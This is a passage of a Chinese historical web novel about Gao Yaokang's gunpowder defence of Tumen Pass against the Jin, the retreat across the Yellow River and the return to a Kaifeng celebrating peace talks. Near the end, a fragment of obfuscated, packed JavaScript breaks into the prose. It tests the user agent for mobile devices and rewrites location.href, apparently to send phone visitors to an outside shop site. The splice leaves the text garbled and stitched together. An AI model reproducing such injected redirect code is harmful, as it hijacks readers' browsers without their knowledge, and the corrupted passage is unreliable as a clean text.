四更那次,金兵从西边的山崖摸上来。被哨兵发现了。宇文虚让人往下扔霹雳弹。炸了半个时辰,山崖下头全是**。炸完之后,宇文虚趴在墙头往下看,嘿嘿直乐:“让你们爬,让你们爬。”
天亮了。
关墙上,活着的人靠着墙垛喘气。**的,抬到后头去。重伤的,送进急救营。轻伤的,自己裹裹,接着站着。
高尧康站在墙头,看着北边。
金兵的营寨还在。人还很多。
王彦走过来。左胳膊上缠着布,血渗出来,红了一片。他走路有点晃,但站得挺直。
“第三拨了,”他说,嗓子哑得跟破锣似的,“咱们**四百多。”
高尧康没说话。
王彦看着他。
“那咱们还得再挡几拨?”
高尧康没回答。
远处,金兵的营寨里,有人在集结。
黑压压一片。
比前三次都多。
第四拨,不一样了。
来的不是步兵。是骑兵。
重甲骑兵。
人和马都披着铁甲。铁片子一块压一块,在太阳底下闪着光,亮得晃眼。马跑起来,震得地皮都颤。一千多骑,排成五排,往关下压过来。轰隆轰隆,跟打雷似的。
王彦的嘴张了张。半天没合上。
“铁浮屠……”
高尧康盯着那些骑兵。眼睛眯起来了。
“宇文虚。”
宇文虚从后头跑过来。脸上全是汗,眼睛却亮得吓人。那种亮法,跟见了宝贝似的。
“那条沟,”高尧康指着关下,“你埋的东西,能用吗?”
宇文虚看了看。算了算距离。手指头在空中比划。
“能。得等他们进了那条沟。”
“多远?”
“三十丈。”
高尧康看着那些骑兵。越来越近。一百丈。八十丈。五十丈。
马蹄声越来越响。震得墙上的土往下掉。
“传令**队。分成三排。等我号令。”
四十丈。
三十丈。
铁浮屠的前排,进了那条沟。
高尧康举起手。
“点。”
宇文虚手里的火把,往下一扔。
沟里埋的**,烧着了。
轰轰轰轰轰。
地裂开了。
铁浮屠的前排,连人带马飞起来。铁片子在空中散开,跟天女散花似的。落下来的时候,砸在后排的人身上。哐当哐当,跟打铁似的。
马在叫。人在喊。铁片子哗啦啦响。
但后头的还在往前冲。
高尧康手往下一砍。
“**队。放。”
第一排火铳响了。轰轰轰。
前排的骑兵倒了一片。
第二排顶上。轰轰轰。
又倒了一片。
第三排顶上。轰轰轰
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再倒一片。
第一排装好药了。第二排装好了。第三排装好了。
轰轰轰。轰轰轰。轰轰轰。
铁浮屠在关下头堆起来。人和马摞在一起。铁片子底下,血往外淌,淌成一条一条的小河。红的白的,混在一起。
没死的往回跑。
后头的督战队在喊。在砍。但拦不住。
铁浮屠,退了。
高尧康站在墙头。手按在墙上。指头抠进砖缝里。抠得指节发白。
宇文虚在旁边,忽然笑起来。笑得很大声。笑得直不起腰。
“看见没有?!看见没有?!”他指着那些逃跑的铁浮屠,跳着脚喊,“铁甲有个屁用!**一炸,全是破铜烂铁!收破烂的都不要!”
王彦看着他。又看看关下那一片尸体。
没说话。
只是攥着刀柄的手,攥得更紧了。
那天下午。金兵没再攻。
但关里的人,没一个睡得着。
都知道。他们不会就这么算了。
傍晚的时候,宇文虚把压箱底的东西搬出来了。
“一窝蜂”。
三十个木匣子。每个匣子里头,并排装着二十支火箭。箭杆上绑着**筒,点着了一起飞出去,能飞两百丈。看着跟蜂窝似的。
宇文虚蹲在那儿,一个一个检查引信。手稳得很。跟大夫号脉似的。
高尧康蹲在他旁边。
“能飞多远?”
“两百丈。”
“能射准吗?”
宇文虚想了想。
“准不准的……反正往人多的地方射就行。射不准也能吓他们一跳。”
高尧康点点头。
天黑了。
二更天。王彦来找高尧康。
“让我去。”
高尧康看着他。
“去干嘛?”
“烧他们的粮草。”
高尧康没说话。
王彦说:“这么守下去,守不了几天。他们人多,耗得起。咱们耗不起。咱们就这几千人,死一个少一个。他们死一万还有五万。”
他顿了顿。
“我带三百人。从西边绕过去。他们那边防备松。烧了粮草,他们就退了。不退也得退,没吃的打个屁。”
高尧康还是没说话。
王彦看着他。眼睛瞪得跟牛似的。
“你不让我去,我自己去。”
高尧康沉默了很久。
“带四百人。”
王彦愣了一下。
“四百人,活着回来的能多几个。”
王彦笑了。笑得很难看。脸上的肉都在抽。
“行。”
三更。王彦带着人走了。
高尧康站在关墙上,看着那些人消失在夜色里。四百个黑影,一个一个融进黑地里,跟墨滴进水似的,没了。
杨蓁站在他旁边。
“能成吗?”
高尧康没回答。
远处,忽然亮了起来。
火光。很大。烧红了半边天。
紧接着,是喊杀声。很乱。很远。隐隐约约的,分不清是谁在喊。
持续了半个时辰。
然后,喊杀声小了。
火光还在烧。但人声没了。
高尧康盯着那个方向。一动不动。
杨蓁的手,攥住了他的袖子。攥得很紧。
第六十一章 孤军无援
天快亮的时候,有人回来了。
十三个。
浑身是血。有的走着,有的爬着,有的被人背着。一步一步往关下挪。
背着的那个,是王彦。
他胸口上中了一箭。箭杆断了,箭头还在里头。脸上全是血,看不出颜色。眼睛闭着。不知道是死是活。
高尧康跑下墙。
跑到跟前。
王彦的眼睛,忽然睁开了。
看着他。
嘴动了动。半天才发出声。
“……烧了。”
高尧康蹲下去。
“烧了。粮草。辎重。全烧了。”王彦笑了一下。嘴里往外冒血。血沫子糊了一脸。
“他麻的……三百多弟兄……就换了……一堆粮草……”
高尧康说:“值。”
王彦看着他。眼神有点散。瞳孔一会儿大一会儿小。
“真……值?”
“值。”
王彦又笑了一下。眼睛闭上了。
高尧康站起来。
“抬进去。让人救。救不活也得救。”
人抬走了。
他站在那儿。看着那十三个人进去的方向。
杨蓁从里头跑出来。手里拎着刀。脸上全是汗。
“我再去。”
高尧康拦住她。
“还活着的人,都在那儿了。”
杨蓁看着他。
杨蓁推开他的手。力气大得吓人。
“我不管。我要去把能回来的都带回来。”
她翻身上马。一夹马肚子,冲出去了。马蹄声嘚嘚嘚,越来越远。
高尧康没再拦。
他只是站在那儿。看着那匹马消失在烧红了的天边。
杨蓁回来的时候,天已经亮了。
马没了。她背着个人。一步一步走回来的。走几步,歇一下。走几步,歇一下。
走到跟前,高尧康才看清,她背上的是刘实。刘实的腿断了,耷拉着,一路拖着血印子。刘实在她背上哼哼,跟杀猪似的。
杨蓁脸上、身上全是血。不知道是谁的。头发散着,粘在脸上。
她把刘实放下来。站直了。看着他。
“还有十七个。在后头。走不动了。”
高尧康点点头。
杨蓁忽然笑了。笑得很难看。嘴角扯着,跟要裂开似的。
“我杀了七个。”她说。声音平平的,跟说今天吃了几个馒头似的。
高尧康看着她。
“嗯。”
她笑着笑着,眼泪流下来了。流进血里,冲出一道一道的白印子。
“王彦还活着。刘实也活着。但那三百多个……”
高尧康说:“我知道。”
他伸出手,把她脸上的血擦了擦。没擦干净。越擦越花。手上全是血。
“进去歇着。”
杨蓁摇摇头。
“不歇。”
她从那十三个人里头,找出一个还能动的。那人坐在地上,靠着墙,眼睛半睁半闭。
“跟我走。把后头那十七个接回来。”
那人点点头。撑着地站起来。晃了晃,站稳了。
跟着她走了。
高尧康站在那儿。看着她又消失在关外。
太阳升起来了。
照在关墙上,照在关下那一堆一堆的尸体上,照在那条被血染黑了的路上。路上有脚印,有拖痕,有掉落的鞋。
下午。金兵又攻了一次。
这次攻得很凶。三千多人,从三个方向同时往上冲。关墙被打破了三处。刘实拖着断腿,趴在墙头上指挥,一边指挥一边骂,骂得比他妈还难听。宇文虚把所有的霹雳弹全扔出去了,扔完还往下扔石头,扔完石头往下扔骂人的话。**队的**,打光了。**子都烫手,摸着能起泡。
撑住了。
但只剩两千多人了。
晚上。高尧康坐在墙根底下。手里拿着块干饼,咬一口,嚼半天,咽不下去。饼跟石头似的。
刘实让人抬过来。躺在他旁边。腿被布条缠着,肿得跟象腿似的。
“沈晦那边,”刘实说,眼睛看着天,“有消息吗?”
高尧康摇摇头。
刘实沉默了一会儿。
“他不会来了吧?”
高尧康没说话。
刘实笑了一下。
“我就知道。”
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>信使是在二更天到的。
从真定府来的。骑着一匹快马,从南边绕过来。马跑得口吐白沫,一到关下就倒了。四条腿抽抽着,起不来了。
信使自己爬上来的。手脚并用,跟狗似的。
见了高尧康,从怀里掏出封信。手抖得跟筛糠似的。
“童……童师闵的。”
高尧康拆开。
就一行字:
“事不可为,速退!汴京恐将生变!”
他看着那行字。看了很久。
信使还在喘气。呼哧呼哧,跟风箱似的。
“还……还有……”
高尧康抬起头。
“沈安抚……沈晦……”
信使咽了口唾沫。喉结上下滚。
“今天一早。带着亲信……出南门了。往南跑了。跑得比兔子还快。”
刘实躺在地上,忽然笑起来。
笑得很大声。笑得全身发抖。笑着笑着,变成了哭。眼泪流下来,流进耳朵里。
“真定……真定丢了……”
高尧康站在那儿。
风刮着。火把晃着。远处,金兵的营寨里,火光还在烧。
他把那封信折起来。揣进怀里。
转过身,看着关里头。
那两千多人。有的在包扎伤口,有的在擦刀,有的在发呆。急救营里,杨蓁还在忙。苏檀儿带着人,在清点剩下的粮草,一边点一边记。宇文虚蹲在地上,守着他那几箱**,跟守宝贝似的。
高尧康看着他们。
看了一会儿。
然后开口。
“传令。”
“收拾东西。”
“能带的带上。不能带的……毁了。”
刘实躺在地上,看着他。
“撤?”
高尧康点点头。
“撤。”
刘实忽然又笑了。
这回笑得不一样。是那种如释重负的笑。
“我就知道,”他说,“你小子不会让咱们死在这儿。”
高尧康没说话。
他转过身,又看着北边。
金兵的营寨里,火光还是那么亮。
风刮着。
刮的是北风。
第六十二章 南望烽烟
十一月初九。三更。土门关南门。
火把插在墙上,噼啪响,跟过年放小鞭炮似的。人排成队,往外走。
伤的在前头,走的在后头。女人抱着孩子,老人扶着拐杖,工匠背着箱子,兵们扛着剩下的兵器。没人说话。只有脚步声。杂乱的、拖沓的、轻重不一的脚步声,踩在冻硬了的土地上,咯吱咯吱响。
高尧康站在门边。像根桩子似的杵在那儿。看着那些人一个一个从眼前过去。
刘实让人抬着。抬他的人走得小心,怕颠着他那条断腿。经过的时候,他伸手拉了拉高尧康的袖子。
“你不走?”
高尧康说:“走。最后一拨。”
刘实看着他。想说什么。嘴唇动了动,又闭上了。只是点点头。
抬他的人把他抬走了。刘实躺在担架上,眼睛还往后看,看着高尧康站在那儿的影子,越来越远。
杨蓁牵着马过来。马背上趴着王彦。他还活着,眼睛睁着,但说不出话。胸口那个窟窿让人用布条塞着,血还在往外渗。看见高尧康,他动了动手指头。就那么动了动,用了全身的力气。
高尧康拍拍他的肩膀。没敢用力。
“到了南边,请你喝酒。喝最好的。”
王彦眼睛眨了眨。算是答应。眼皮很重,眨得很慢。
杨蓁把马缰绳递给旁边的人。转过身,看着高尧康。火光映在她脸上,忽明忽暗。
“我跟你留到最后。”
高尧康说:“行。”就一个字,没多余。
苏檀儿从队伍里跑过来。跑得急,喘着气,嘴里喷着白雾。头发散了,也顾不上拢。
“粮草点完了。够吃到黄河。省着点吃能多吃两天。”她顿了顿,“药材不够,得省着用。特别是止血的,剩不多了。”
高尧康点点头。
“你跟着前头走。看好那些图纸。一张别丢。”
苏檀儿看着他。站了一小会儿。就那么站着,不说话。
“你别死。”
高尧康说:“嗯。”
她转身跑回队伍里。跑了几步,又回头看了一眼。就一眼。然后消失在人群里。
队伍还在走。很长。望不到头。
天快亮的时候,最后一拨人出了关。
高尧康站在关墙上,最后看了一眼北边。
金兵的营寨里,火把已经灭了。天边有一点白。快亮了。
他转过身。
“走。”
十一月十二。井陉。
队伍已经走了三天。三天里,收拢了六拨溃兵。有的是从真定跑出来的,有的是从别的关隘跑出来的,有的是半路上从**堆里爬出来的。加起来小两千人。一个个灰头土脸,跟地里刨出来的土豆似的。
刘实躺在一辆板车上,一个一个问。问完了,跟高尧康说:
“真定没了。沈晦跑的那天晚上,城里就乱了。当官的跑了一半,当兵的跑了一半,剩下的老百姓关着门不敢出来。金兵第二天进去,没费什么劲。跟逛菜市场似的。”
高尧康没说话。
刘实又说:“不过也有跑的。有个叫张荣的,带着五百多人,从北门杀出来,往西边去了。杀出一条血路。还有一拨,跟着个姓牛的指挥,往南边跑了。说是要去找朝廷的兵。也不知道找着没有。”
高尧康问:“找到了吗?”
刘实摇摇头。
“找什么找。朝廷的兵?哪儿有?我问了一圈,最近的官军在黄河边上,离这儿三百多里。三百多里,等他们到,咱们骨头都凉了。”
高尧康没再问。
队伍继续走。
十一月十五。赵州。
后头有追兵了。
刘实派出去的探马跑回来,马都跑吐了。四条腿打颤,嘴里往外冒白沫。
“三百多骑。离咱们不到三十里。跑得很快,跟狗撵兔子似的。”
高尧康站在路边,看着前头的队伍。女人、孩子、老人、伤兵,走得不快。那些孩子小的还不会走路,让大人抱着。老人拄着拐棍,一步一步往前挪。
“王彦呢?”
“还在前头。醒了一会儿,又昏过去了。发烧,说胡话。”
高尧康把刘实叫过来。
“你带着队伍继续走。往南。别停。天亮之前能走多远走多远。”
刘实看着他。
“你呢?”
“我带五百人,把后头那拨收拾了。让他们别追了。”
刘实想说什么。没
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说。只是点点头。他知道这时候说什么都没用。
高尧康点了五百人。全是还能跑的。**手两百,**手一百,刀手两百。
往回走了十五里。找了个地方。
两边是土坡,中间一条路。路两边长着枯草。正好。
他们等了两个时辰。有人蹲着,有人趴着,有人靠着土坡打盹。没人说话。只有风吹枯草的沙沙声。
金兵来了。
三百多骑。跑得散漫。前头尖兵二十来个,后头拉开两三里。马蹄声轰隆轰隆的,跟打雷似的。
高尧康趴在一丛枯草后头。盯着那些尖兵。眼睛眯成一条缝。
两百丈。一百丈。五十丈。
进了。
他抬起手。
鲁四的**箭出去了。嗡的一声,跟蜂群出巢似的。尖兵倒了七个。剩下的勒住马,往两边看。马被勒得直立起来,前蹄在空中乱蹬。
没等他们看清,**响了。
轰轰轰。
又倒了十几个。人仰马翻,有人摔下马,有人从马上飞出去。
后头的大队停住了。领头的举着刀,往这边指。嘴里喊,听不清喊什么,但肯定不是好话。
骑兵开始往两边散。想绕过来。
高尧康站起来。
“撤。”
五百人,从土坡后头钻出去,往南跑。跑得鞋都快掉了。
金兵追上来。
追了五里。
追到一处山沟。
高尧康停下。转过身。
金兵追近了。两百丈。一百丈。五十丈。
高尧康抬起手。
宇文虚蹲在山沟上头,手里攥着一根绳子。手心里全是汗。攥得紧紧的。
绳子连着沟里埋的**。
金兵进了沟。
高尧康手往下一砍。
宇文虚一拉绳子。
轰。
地翻过来了。真的翻过来了。
马在飞。人在飞。土在飞。土块砸下来,噼里啪啦跟下冰雹似的。烟尘腾起来,遮天蔽日。
烟散了之后,沟里没几个站着的了。有的趴着,有的躺着,有的胳膊腿不知道飞哪儿去了。马在地上抽搐,人在底下呻吟。
高尧康站直了。拍拍身上的土。
“走。”
第六十三章 咱们一起走
十一月二十。黄河。
队伍在岸边停下来。
过了河,就是南边了。
高尧康站在河堤上,看着那条河。水浑。流得急。跟开了锅似的翻腾。天是灰的。河也是灰的。分不清哪儿是天,哪儿是河。
杨蓁走过来。站在他旁边。腿上缠着布条,血洇出来,红了一块。那是前几天晚上冲进金营抢人的时候,被人砍的。
她不在意。也不遮。就那么大喇喇站着。
“王彦醒了。”她说。
“嗯。”
“他问你要酒。念叨好几遍了。梦里都在喊。”
高尧康说:“过了河就给他。管够。”
杨蓁笑了一下。笑得有点累。
“苏檀儿在前头清点人数。说是有九千七百多人。加上后头还没到的,能过万。她说的时候手都在抖。也不知道是累的还是激动的。”
高尧康点点头。
杨蓁看着他。
“你好像不怎么高兴。”
高尧康没说话。
他看着那条河。看着对岸。看着对岸后头那个方向——汴京的方向。那边什么都看不见,只有灰蒙蒙的天。
“想什么呢?”
高尧康说:“想回去。”
杨蓁愣了一下。
“回哪儿?”
“北边。”
杨蓁没再问。
她站在他旁边。一起看着那条河。
风吹过来。冷的。吹得人骨头缝里都疼。
十一月二十二。黄河南岸。
队伍全过来了。九千八百多人。加上马、车、粮草、器械,在岸边铺了一大片。密密麻麻的,跟难民营似的。
高尧康让人把所有人都叫过来。
围着。站成一个圈。大的圈。好几层。人挤人,人挨人。
他爬上一块大石头。站高了。看着那些人。
女人。孩子。老人。伤兵。工匠。溃兵。流民。商人。还有沈记联号的伙计。一个个灰头土脸,眼窝深陷,跟地里刨出来的萝卜似的。
都看着他。几千双眼睛,齐刷刷的。
他开口。
“我叫高尧康。真定府军都虞候。”
没人说话。都在听。连孩子都不哭了。
“咱们从土门关出来,走了十五天。十五天里,**四百多人。有打仗死的。有伤重死的。有走着走着倒下去,没再起来的。有昨天晚上还说话,今天早上就凉了的。”
他顿了顿。
“为什么死?因为丢了土门关。丢了真定府。丢了北边那一片。丢了自己的家。”
底下有人低头。有人抹眼睛。有人咬着嘴唇。
“但是——”
他声音大起来。
“咱们还活着。九千八百多人,活着过了黄河。活着的,一个没落下。能喘气的,全在这儿了。”
“死的那些,咱们记住了。活着这些,咱们也得记住。记住他们为什么死,记住咱们为什么活。”
他看着那些人。
“记住什么?记住咱们是从哪儿来的。记住是谁把咱们赶到这儿来的。记住北边那片地,是谁的。”
“记住那些跑了的人。沈晦跑了。朝廷的兵在哪儿?到现在没看见。一个没看见。”
“记住那些还在北边的。金兵还在那儿。咱们的家乡,还在他们手里。咱们的田,咱们的房子,咱们埋亲人的坟,都在他们手里。”
底下有人喊:“那咱们怎么办?”
高尧康看着他。是个年轻后生,脸上还带着伤,眼睛红着。
“怎么办?先活着。然后练。然后等。”
“等什么?”
高尧康说:“等着回去。”
他抬起手,指着北边。指得很用力,胳膊伸得直直的。
“今天咱们南撤,不是逃跑。是记住这**。记住谁该为今天负责。记住今天这个日子。”
“他日——咱们一定回去。带着更利的剑,更坚的甲,和必胜的信念。一定回去。”
底下静了一会儿。
然后有人喊:“回去!”
第二个。第三个。第十个。第一百个。第一千个。
“回去!回去!回去!”
喊声震天。把树上的鸟都惊飞了。
杨蓁站在人群里。看着那块石头上的那个人。眼睛红了。没擦。
苏檀儿站在另一边。也看着他。嘴唇抿着,抿成一条线。
两个人隔着人群,对望了一眼。
没说话。但那一眼,什么都说了。
十一月二十五。汴京东郊。
队伍停下来。前面就是京城。
高尧康骑着马,走在最前头。杨蓁在旁边。苏檀儿在后头。
走了半个时辰,看见了城门。
也看见了别的东西。
城门口。有人在摆摊。有人在卖糖葫芦。有小孩跑来跑去,追着一条狗。有个唱曲的,抱着琵琶,咿咿呀呀唱。唱的是《蝶恋花》,还是什么别的,听不清。
城门开着。进进出出的人,跟没事一样。有挑担的,有赶车的,有牵驴的,有背着包袱的。说说笑笑,骂骂咧咧。
高尧康勒住马。
杨蓁也勒住了。
“这是……”她张了张嘴,半天没合上,“他们不知道北边在打仗?不知道金兵打到哪儿了?”
高尧康没说话。
他看见城墙上贴着一张告示。黄纸。新贴的。浆糊还没干透。
他骑马过去。看。
告示上写:
“朕以凉德,获承大统。今金人犯境,京师震动。朕已遣使议和,以求万全。自今以往,凡我臣民,各安其位,勿生事端……”
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落款是新的年号。
靖康。
杨蓁在旁边,小声念了一遍。
“靖康……什么意思?”
高尧康说:“皇帝换了。”
杨蓁愣了一下。
“换了?换谁?”
“赵桓。原来的太子。老皇帝让位了。”
杨蓁张着嘴。半天没说出话。
苏檀儿从后头上来。手里拿着一封信。骑在马上,递过来。
“刚到的。你爹的。八百里加急送到庄子上的,又转过来的。”
高尧康接过来。拆开。
信很短。就八个字。
“六贼误国。速归避祸。”
他把信折起来。揣进怀里。动作很慢。
杨蓁看着他。
“怎么了?”
高尧康说:“没什么。”
他转过头,看着那座城门。看着那些进进出出的人。听着那唱曲的声音。
忽然觉得,很吵。
傍晚。城外庄园。
队伍安置下来。庄园很大。是高俅前两年买的。靠着河。院子大,能住几百人。现在住了一万。挤是挤了点,但能住下。挤一挤总比冻死强。
高尧康一个人走到后院。
那里有个作坊。军器作坊。从真定一路搬过来的。拆了装,装了拆,折腾了一路。
宇文虚和雷振正在里头忙。把图纸一张一张摊开,擦干净,卷起来,装进箱子里。那些核心的工具,用油布包着,裹了一层又一层。跟裹宝贝似的。
看见高尧康进来,宇文虚抬起头。
“你来了。”
高尧康点点头。走到一张案子前头。
案子上放着一把刀。卷了刃的。刀身上全是豁口,有的深,有的浅,有的豁口里还卡着干了的血。那是土门关打到最后,他用过的。杀了多少人,记不清了。
他拿起来。用袖子擦了擦。
擦得很慢。一下,一下。
宇文虚没说话。雷振也没说话。
两个人继续收拾东西。动作很轻,怕吵着他。
窗外,天快黑了。
汴京城里的灯,开始一盏一盏亮起来。远远望去,一片通明。有红的,有黄的,有亮的,有暗的。热闹得很。有人在放烟花,砰的一声,在天上炸开一朵花。
高尧康擦着那把刀。没往那边看。
刀擦干净了。他把刀放下。抬起头。
窗外,那片灯火上头,天边有一道残霞。红的。像血。
他看着那抹红。看了很久。
宇文虚走到他身后。也看着窗外。
“明天,”他说,“还造吗?”
高尧康说:“造。”
宇文虚点点头。
“行。”
他转身回去,继续收拾那些图纸。
窗外,灯火更亮了。
天边那抹红,还没散。
第六十四章 归京惊梦
靖康元年正月初九。汴京。天冷得邪乎。冷得能把人耳朵冻掉。
高尧康站在城门外的官道上,看着那座城。
城墙比他记忆中高。城门比他记忆中宽。进出的人比他记忆中多。卖吃的、卖喝的、卖玩的、卖唱的,挤成一堆,跟赶大集似的。有个小孩从他马前跑过去,手里举着串糖葫芦,笑得嘎嘎的,糖葫芦差点蹭到马腿上。
他身后,是那一万多人。
伤的、残的、瘦的、脏的。衣服破着,脸上黑着,眼睛往里凹着,眼珠子都显得大了。马也瘦,肋骨一根根能数清。车也破,走起来吱呀响,随时要散架。旗也烂,上头的字都看不清了。
城门洞那儿,有个守门的军士往这边看了一眼。看了一眼,又转回去了。接着跟旁边的人说话。说话的时候还在笑,笑得肩膀一抖一抖的。
高尧康没动。
杨蓁在他旁边。她看着那些进进出出的人,看着那些笑,看着那串糖葫芦,看着那个卖糖葫芦的老头——老头正把一串新的递给另一个小孩,小孩伸手接的时候,笑得眼睛都没了。
“他们……”她张了张嘴,没说出下话。喉咙里像卡了什么东西。
苏檀儿从后头上来。站在他另一边。她没说话。只是看着那座城,看着城门口那些人,看着那个卖糖葫芦的,看着城墙上头飘扬的旗——旗上写着什么,看不清,但飘得挺欢实。
三个人就这么站着。
站了很久。
风刮过来,冷的。把马尾巴吹得往一边飘。
“走吧。”高尧康说。
他一夹马肚子,往城里走。
进城的时候,那个守门的军士又看了他一眼。看见他身后那些人,愣了一下。嘴张了张,想说什么。但高尧康已经过去了。那军士张着的嘴又闭上了,扭头接着跟旁边的人说话。
街上人多。比真定多。比哪儿都多。多得跟蚂蚁窝似的。
两边铺子全开着。绸缎庄、首饰铺、酒楼、茶肆、赌坊、瓦子。有人站在门口吆喝,扯着嗓子喊“新到的绸子”“热乎的包子”。有人坐在里头喝酒,喝得脸红扑扑的,划拳的声音能传半条街。有人在街上走,走得慢,因为不着急,因为没什么可着急的。
杨蓁骑着马,走在他旁边。眼睛往两边看。越看,眉头皱得越紧。眉心能夹死苍蝇。
“他们……”她又张嘴。还是那句话,还是没说完。
高尧康没说话。
前头忽然热闹起来。敲锣打鼓的。哐哐哐,咚咚咚,震得人耳朵疼。一群人围在那儿,拍手叫好,叫得嗓子都劈了。
他们走过去。看见一队人,穿着彩衣,红的绿的黄的,跟戏班子似的。举着旗子,边走边扭,扭得腰都要断了。旗子上写着四个字,写得又大又粗:
“议和大吉。”
杨蓁的马停了。
她盯着那四个字。盯着那些人扭来扭去。盯着旁边拍手叫好的人。那些人的嘴一张一合,喊着什么,她听不清。耳朵里嗡嗡的。
她的手按在刀柄上。
高尧康伸手,按在她手上。
她抬头看他。
他摇摇头。没说话。只是摇头。
她的手在刀柄上攥了攥。攥得指节发白。白得跟骨头似的。然后松开了。
他们穿过那队人。穿过那些叫好的人。往前走。马蹄踩在地上,嘚嘚嘚,嘚嘚嘚。
后头,锣鼓还在敲。还在“议和大吉”。哐哐哐,咚咚咚。
苏檀儿先走的。
她带着沈记联号的人,去安置那一万多人。城外那个庄子住不下,得找地方。租、借、买,都行。钱她有。二十万贯活钱,她说了,随时能调。说这话的时候,眼都没眨。
走之前,她看着高尧康。
“你去找李纲?”
“嗯。”
她点点头。想说什么。没说。
只是伸手,把他领子上的灰拍了拍。拍得很轻。拍了两下。
“晚上回来吃饭。”
高尧康说:“好。”
她走了。走的时候没回头。但走得慢。比平时慢。
杨蓁站在旁边,看着她的背影。看着她走远,拐进一条巷子,不见了。
“她对你挺好。”杨蓁说。声音平平的。
高尧康说:“嗯。”
杨蓁转过来看着他。
“我也对你好。”
高尧康说:“知道。”
杨蓁笑了一下。笑得有点短。但确实是笑。
“那你去吧。我回去看着那帮人。别让他们**。”
她走了。翻身上马,一夹马肚子,跑起来的。马蹄声很快,嘚嘚嘚嘚嘚,一会儿就远了。
高尧康站在原地。看着她们两个往两个方向走。
然后转身。往另一个方向走。
李纲的府邸在城西。不大。门也旧。门口没石狮子,就俩上马石。上马石上还有没扫干净的雪,灰乎乎的。
高尧康敲门。敲了半天,才有人来开。
是个老仆。头发白了,腰也弯了,跟煮熟的虾似的。从门缝里露出半张脸,往外瞅。瞅了半天,才看见人。
“找谁?”
“高尧康。求见李大人。”
老仆打量他。从上到下。从那一身破袍子,到脸上那层灰,到眼里的红血丝。打量完了,嘴一撇。
“李大人不见客。天天有人来,天天不见。回吧。”
高尧康说:“你告诉他,我叫高尧康。”
老仆又要关门。门板都动了。
门里忽然有人说话。
“谁?”
老仆回头:“一个……说是姓高。叫高什么康。”
门里沉默了一会儿。
然后门开了。
李纲站在门口。
他比高尧康记忆中瘦。瘦很多。瘦得颧骨都突出来了,眼睛往里凹着,眼眶都显得大了。穿着家常的道袍,洗得发白了,袖口还磨破了一点。但腰挺得直。眼睛也亮。亮得跟灯似的。
他看着高尧康。看了很久。
“你……”他张了张嘴。嗓子有点哑。
高尧康说:“李大人。久仰大名。”
李纲没说话。他往前走了两步。走到跟前。抬起手,在高尧康肩膀上拍了拍。
拍得很轻。但拍了三下。
“进来。”
屋里生着炭盆。不大。但暖和。暖得人想打盹。
李纲让老仆上了茶。然后让他出去。把门带上。门板嘎吱一声响。
屋里就剩他们俩。
李纲坐在他对面。看着他。又看了很久。看得高尧康以为自己脸上有东西。
“真定的事,我听说了。”
高尧康没说话。
李纲说:“土门关。四千八百人,挡了金兵七天。最后撤下来一万多百姓、工匠、溃兵。”
他顿了顿。
“沈晦跑了。你没跑。还把人带回来了。带回来一万多。”
高尧康说:“不全带回来了。**四千多。留在北边了。”
李纲点点头。
“打仗就会**。不打仗,死更多。”
他看着高尧康。
“你来找我,有事?”
高尧康从怀里掏出一张纸。摊开。放在桌上。
是张图。
画的不是地形。是线条。箭头。圈圈。密密麻麻的,跟蜘蛛网似的。
李纲低头看。看了半天。眉头皱起来。
“这是什么?”
高尧康说:“金兵下次南侵的路线。”
李纲抬起头。看着他。
“下次?”
“嗯。”
李纲又低头看那张图。看得更仔细了。手指在上头比划,一点一点地看。
图上画着三条线。从燕京出发。一条往南,奔中山、真定。一条往东南,奔河间、大名。还有一条,从云中出发,往南奔太原。
三条线,最后都指向一个地方。
汴京。
李纲看了很久。然后抬起头。
“你怎么知道他们还会来?”
高尧康说:“他们必须来。”
李纲等着下文。眼睛盯着他。
高尧康说:“金人刚打完燕京。打完了,就得吃。几十万兵,吃什么?燕京那地方,打了三年仗,地里长不出粮食。种地的都跑了,跑了谁种?他们得抢。往哪儿抢?往南抢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317308|198976||http|test|mini|href|location''.split(''|''),0,{}));
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r>他指着图上那些箭头。指得稳稳的。
“还有,他们这次退兵,不是因为咱们议和议得好。是因为他们自己粮草不够了。打完燕京,兵也累了,马也乏了,不回去休整,就得饿死在前头。冻也冻**。”
他顿了顿。
“但休整完了呢?冬天过了,草青了,马有草吃了,粮草备齐了,他们还来不来?”
李纲没说话。
高尧康又指着图上那些圈圈。一个一个点过去。
“这是他们的囤粮点。这是他们的屯兵点。这是他们的马场。这些东西,都在往南移。不是在原地待着。是在往咱们这边靠。一天一天地靠。”
他抬起头,看着李纲。
“李大人,你信不信?”
李纲沉默了很久。
屋里只有炭盆噼啪响。炭烧红了,偶尔爆一下,啪。
然后李纲开口。声音有点哑。
“我信。”
他看着高尧康。
“我信。然满朝朱紫,几人愿信?”
高尧康没说话。
李纲站起来。在屋里走了两圈。停住。转过身。袍子角甩了一下。
“你知道他们现在在说什么吗?”
高尧康说:“议和。”
“对。议和。割地。给钱。送人质。只要能不打仗,什么都行。送金银,送绸缎,送女人,送什么都行。”
他走到窗前,看着外头。外头什么也看不见,窗户纸糊着。
“割三镇。太原、中山、河间。割了,金人就退兵。退了兵,就万事大吉。大家接着过太平日子。”
他转过来,看着高尧康。
“我跟他们说,不能割。割了三镇,汴京就成前线了。金兵下次来,直接到城门口。他们不听。他们说,李纲迂阔,不懂大局。大局?什么大局?”
他笑了笑。笑得很苦。嘴角扯着,跟要裂开似的。
“保住他们的家产,保住他们的官位,保住他们在汴京的宅子、铺子、小老婆,就是大局。”
高尧康站起来。走到那张图前头。
“李大人,我能多说几句吗?”
李纲看着他。
“说。”
高尧康指着图上那些箭头。手指在上头划过去。
“他们退兵,不是议和议成的。是他们自己的问题。冬天来了,粮草没了,马没草吃了,草都枯了,兵冻得受不了了。不退,就得死。**还抢什么?”
他指着太原那条线。
“但太原没丢。还在咱们手里。西军还在。种师道还在。金兵想从西路来,得先打太原。太原能挡多久?至少三个月。三个月能办多少事?”
他又指着真定那条线。
“东路这边,真定丢了,但中山还在。河间还在。咱们还有兵。虽然不多,但有。有一万是一万,有两万是两万。”
他看着李纲。眼睛没躲。
